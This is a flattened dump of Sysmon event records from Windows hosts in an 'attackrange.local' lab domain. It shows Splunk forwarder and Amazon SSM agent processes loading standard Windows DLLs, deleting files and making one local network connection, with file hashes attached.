Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD152639FB2227A3B506DE895CBF7A59,SHA256=607EFEC5746EB482EC8EF0D18FC5F65B742E5BDC143C8ABB8292A5060ADA2F01,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.419{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7EABCCAB95EF0EE1444C9E5040F46456,SHA256=71E7579A0D898738EC1C74E30B40F456DD9E62C1489FE7794299EAFB831A6721,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.419{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=71FA5DB1F301D78EAEF882E252060FE4,SHA256=7040D9953630B716AC2BE8DE8CDF9FB2B29244733124C0F59C3D48D9285DD157,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000055298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.393{7BD73061-7469-613B-960B-00000000F001}58562912C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.393{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.390{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000017749Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:18.086{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=180C5E45F9695497D7CB71073A89B453,SHA256=D83C9F81460DBB9CA4B66719C4814E7A7794F8CED9CE561D300FDF1E5B994D3B,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 23542300x800000000000000055418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.697{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-061MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000055417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.652{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000055416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.634{7BD73061-746B-613B-980B-00000000F001}11523340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.634{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.634{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000055413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.618{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7DC4B415B916B878CE42A0DA7B22900,SHA256=8B40251A230982EDAAB5098C6F464215D7DC1C04CB32F755793A92EB5739096C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.582{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E746566BC267AF015F887F04338A41F8,SHA256=A94AB0E94E691E79081025F11828A7DD75CB3EC96AB87B980001C5F781BD5826,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.582{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0605538F635D3BEF8C6D32486027192A,SHA256=6ADB6F947B601376AB359D652F801221BDCFD23D4C2F03E45C8F7B1DA600C97D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017751Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:18.469{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50380-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017750Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:19.102{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FDC4074A7263CF593D371E46CC36B310,SHA256=360B581B3A176E38D8632B4C44361B9D5FF4F1FE6E5ABDCFF2B55B6C42EC45ED,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.418{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:19.402{7BD73061-746B-613B-980B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, 